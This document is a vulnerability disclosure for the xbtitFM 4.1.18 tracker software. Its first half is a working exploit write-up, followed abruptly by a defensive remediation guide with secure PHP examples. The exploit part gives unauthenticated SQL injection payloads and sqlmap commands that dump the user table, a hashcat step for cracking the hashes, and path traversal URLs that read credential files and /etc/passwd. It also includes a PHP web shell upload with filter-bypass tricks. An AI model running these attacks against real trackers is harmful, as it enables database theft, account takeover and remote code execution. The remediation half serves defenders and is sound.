xbtitFM 4.1.18 - Multiple Vulnerabilities
# Exploit Title: xbtitFM 4.1.18 Multiple Vulnerabilities
# Date: 22-01-2024
# Vendor Homepage: https://xbtitfm.eu
# Affected versions: 4.1.18 and prior
# Description: The SQLi and the path traversal are unauthenticated, they don't require any user interaction to be exploited and are present in the default configuration of xbtitFM.
The insecure file upload requires the file_hosting feature (hack) being enabled. If not, it can be enabled by gaining access to an administrator account.
Looking at the state and the age of the codebase there are probably more, but who cares anyway...
[Unauthenticated SQL Injection - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]
Some examples:
Get DB name:
/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(DATABA SE() AS NCHAR),0)),1,100))))
Get DB user:
/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(CURREN T_USER() AS NCHAR),0)),1,100))))
Get password hash of any user (might need some modification to work on different instances):
/shoutedit.php?action=edit&msgid=1337 OR (1,1) = (SELECT COUNT(0),CONCAT((SELECT CONCAT_WS(0x3a,id,username,password,email,0x3a3a3a ) FROM xbtit_users WHERE username='admin_username_or_whatever_you_like'),FL OOR(RAND(0)*2)) FROM (information_schema.tables) GROUP BY 2);
Automate it with sqlmap to dump the database.
1) Get DB name
sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch --current-db
2) Get table names
sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name --tables
3) Dump users table (usually called xbtit_users)
sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name -T xbtit_users -C id,username,email,cip,dob,password,salt,secret --dump
4) Crack hashes (usually unsalted MD5, yey!)
hashcat -m 0 xbtitfm_exported_hashes.txt wordlist.txt
Pro tip: Use All-in-One-P (https://weakpass.com/all-in-one)
[Unauthenticated Path traversal - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
1) Intentionally search for a file that doesn't exist to get the web application path e.g. (/home/xbtitfm/public_html/)
https[:]//example.xyz/nfo/nfogen.php?nfo=random_value_to_get_error_that_reve als_the_real_path
2) Read files that contain database credentials.
https[:]//example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/settings.php
https[:]//example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/update.php
Or any other system file you want.
https[:]//example.xyz/nfo/nfogen.php?nfo=../../../../../../../etc/passwd
3) Now who needs the SQLi to dump the DB when you have this gem? Check if the following file is configured
https[:]//example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/sxd/cfg.php
If so, go to https[:]//example.xyz/sxd (CBT Sql backup utilitiy aka Sypex-Dumper), login with the DB credentials you just found, now export the DB with on click. Nice and easy.
[Insecure file upload - Remote Code Execution (Authenticated)- CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
If that wasn't enough already and you want RCE, visit https[:]//example.xyz/index.php?page=file_hosting
If the file hosting feature (hack) is enabled, then simply just upload a PHP shell with the following bypass.
Changing the Content-Type of the file to image/gif and the first bytes to GIF89a; are enough to bypass the filetype checks.
A silly countermeasure against PHP files is in place so make sure you change <?php to <?pHp to bypass it.
Content-Disposition: form-data; name="file"; filename="definately_not_a_shell.php"
Content-Type: image/gif
GIF89a;
<html>
<body>
<form method="GET" name="<?pHp echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?pHp
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
The web shell will then be uploaded here:
https[:]//example.xyz/file_hosting/definately_not_a_shell.php
If the file hosting feature is disabled, extract and crack the hash of an admin, then enable the feature from the administration panel and upload the shell. xbtitFM 4.1.18 — Vulnerability Overview, Impact, Detection and Remediation
xbtitFM 4.1.18 and earlier contain multiple classes of security issues that were observed in the codebase: unauthenticated SQL injection, path traversal / arbitrary file read, and an insecure file‑upload flow that can lead to remote code execution when a file hosting feature is enabled. These issues are serious because some are exploitable without authentication and may expose credentials, site data, or allow arbitrary code execution.
High‑level impact
- Unauthenticated SQL injection: disclosure and tampering of database contents (data exfiltration, account takeover, privilege escalation).
- Path traversal / arbitrary file read: exposure of configuration files (database credentials), source code, or system files — enabling further compromise.
- Insecure file upload (when enabled and/or accessible): upload of server‑side executable code (web shells) and remote command execution.
Who is at risk
Operators running xbtitFM ≤ 4.1.18 on public hosts with default/legacy settings and without compensating controls (WAF, strict file permissions, up‑to‑date PHP configuration) are at significant risk. Because some issues can be exploited without authentication, quick remediation is strongly advised.
Principles for safe handling
- Do not attempt to test or exploit these issues on systems you do not own or are not explicitly authorized to test.
- Perform any security testing in an isolated, authorized environment (local VM, staging instance, or sandbox) and obtain written permission before testing production systems.
- Prioritize patching, removal of unused/legacy features, secrets rotation, and careful code audits for similar patterns.
Technical root causes (summary)
- Unsanitized user input incorporated directly into SQL statements (no parameterization).
- Unrestricted file path input used to read server files without canonicalization or directory allow‑listing.
- Insufficient verification of uploaded content (mime/type and content checks bypassable), and storage of uploaded files in a web‑accessible location where PHP may be executed.
Detection and indicators of compromise
- Unexpected database queries or errors in web logs indicating malformed SQL or database stack traces.
- Web server error pages revealing internal filesystem paths or PHP source lines.
- Presence of unknown files under web‑accessible directories, especially files with odd names or web shells containing <?php or obfuscated variants.
- Outgoing connections from the web server, new scheduled tasks, or use of system calls in logs.
Comprehensive remediation guidance
| Vulnerability | Recommended mitigations |
|---|---|
| SQL injection | Use parameterized queries / prepared statements, validate and canonicalize inputs, restrict DB privileges, and implement WAF rules. Perform a full audit of all code paths that build SQL dynamically. |
| Path traversal / arbitrary file read | Canonicalize input with realpath, enforce an allowlist of accessible directories, avoid including or exposing arbitrary file content, and disable verbose error messages in production. |
| Insecure file upload | Enforce server‑side content validation (mimetype & magic bytes via finfo), whitelist extensions, store uploads outside webroot, strip PHP execution privileges from upload directories, and scan uploads for PHP tags and known web shell patterns. |
Secure coding examples (PHP)
1) Preventing SQL injection with PDO prepared statements
// Example: safe retrieval of a single record by id using PDO
$pdo = new PDO('mysql:host=DB_HOST;dbname=DB_NAME;charset=utf8mb4', 'dbuser', 'dbpass', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
$stmt = $pdo->prepare('SELECT id, username, email FROM shout_table WHERE id = :id LIMIT 1');
$stmt->execute([':id' => $inputId]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
Explanation: This code uses PDO prepared statements with named parameters. The user input (e.g., $inputId) is bound as a parameter rather than interpolated into SQL text, preventing SQL injection. Use explicit column lists, appropriate LIMIT clauses, and the least‑privileged DB account.
2) Preventing path traversal when reading files
// Example: safe file read with allowlist and canonicalization
$baseDir = '/var/www/example/nfo/allowed/';
$userInput = $_GET['file'] ?? '';
// Normalize and resolve the requested path
$requested = realpath($baseDir . DIRECTORY_SEPARATOR . $userInput);
if ($requested === false || strpos($requested, realpath($baseDir)) !== 0) {
http_response_code(400);
echo 'Invalid file requested';
exit;
}
// Proceed to read only if file is within $baseDir
$content = file_get_contents($requested);
echo htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Explanation: realpath resolves symbolic links and ../ sequences, and we compare the canonicalized requested path to the canonicalized base directory. If the requested file is outside the allowed base directory, access is denied. Always output file contents escaped to avoid cross‑site scripting.
3) Secure file upload handling
// Example: secure upload flow (PHP)
$allowedMime = ['image/png', 'image/jpeg', 'image/gif', 'application/pdf'];
$uploadTmp = $_FILES['file']['tmp_name'] ?? null;
if ($uploadTmp && is_uploaded_file($uploadTmp)) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $uploadTmp);
finfo_close($finfo);
if (!in_array($mime, $allowedMime, true)) {
http_response_code(400);
echo 'Disallowed file type';
exit;
}
// Basic content sanity check (ensure no PHP tags)
$contents = file_get_contents($uploadTmp);
if (stripos($contents, '<?php') !== false || stripos($contents, '<script') !== false) {
http_response_code(400);
echo 'File content not allowed';
exit;
}
// Store uploads outside webroot and use randomized names
$safeDir = '/var/uploads/app_files/';
$newName = bin2hex(random_bytes(16));
$dest = $safeDir . $newName . '.' . pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!is_dir($safeDir)) mkdir($safeDir, 0700, true);
if (!move_uploaded_file($uploadTmp, $dest)) {
http_response_code(500);
echo 'Failed to store file';
exit;
}
// Set strict permissions
chmod($dest, 0600);
echo 'Upload successful';
}
Explanation: This handler validates the MIME type using the fileinfo extension (server‑side), checks the file content for PHP tags or script elements, stores files outside the webroot under a randomized filename, and sets restrictive filesystem permissions. Serving these files should be done via a controlled download endpoint that enforces authorization, not by direct web access.
Hardening and operational controls
- Remove or disable unused features (e.g., file_hosting hacks) and third‑party utilities that expose database access (Sypex/Sdumper or similar) unless strictly necessary; if used, restrict access by IP and credentials.
- Use a least‑privilege DB account: it should not have superuser rights or file system access privileges.
- Harden PHP configuration: disable dangerous functions (exec, passthru, system, shell_exec, popen, proc_open) if not needed; enable open_basedir restrictions; disable display_errors in production.
- Deploy a web application firewall (WAF) and robust logging/monitoring to detect exploitation attempts and anomalous patterns.
- Rotate credentials and secrets if configuration files may have been exposed, and reset admin passwords with multi‑factor authentication enabled.
Incident response checklist (if compromise is suspected)
- Immediately isolate the affected host(s) from the network to prevent lateral movement.
- Collect volatile logs and web server access logs, preserving integrity (read‑only copies) for forensic analysis.
- Scan the document root and upload directories for unknown files, recent modifications, and web shells; check for PHP files in upload storage.
- Rotate database and administrative credentials, revoke any leaked tokens, and consider rebuilding compromised hosts from a trusted image.
- Notify stakeholders, and follow legal / responsible disclosure procedures when required.
Responsible disclosure and testing
If you are a researcher or operator who finds a live vulnerability, follow responsible disclosure practices: notify the vendor or owner with reproducible, non‑exploitative evidence, allow reasonable time for remediation, and avoid public disclosure that includes actionable exploit details until mitigations are available.
Summary
xbtitFM 4.1.18 and earlier exhibit multiple severe issues that can be chained to fully compromise an installation. Prioritize hardening and remediation: apply code fixes (parameterization, path canonicalization, safe upload patterns), remove risky features, rotate credentials, and deploy monitoring and controls. Testing should always be performed in authorized environments and follow responsible disclosure practices.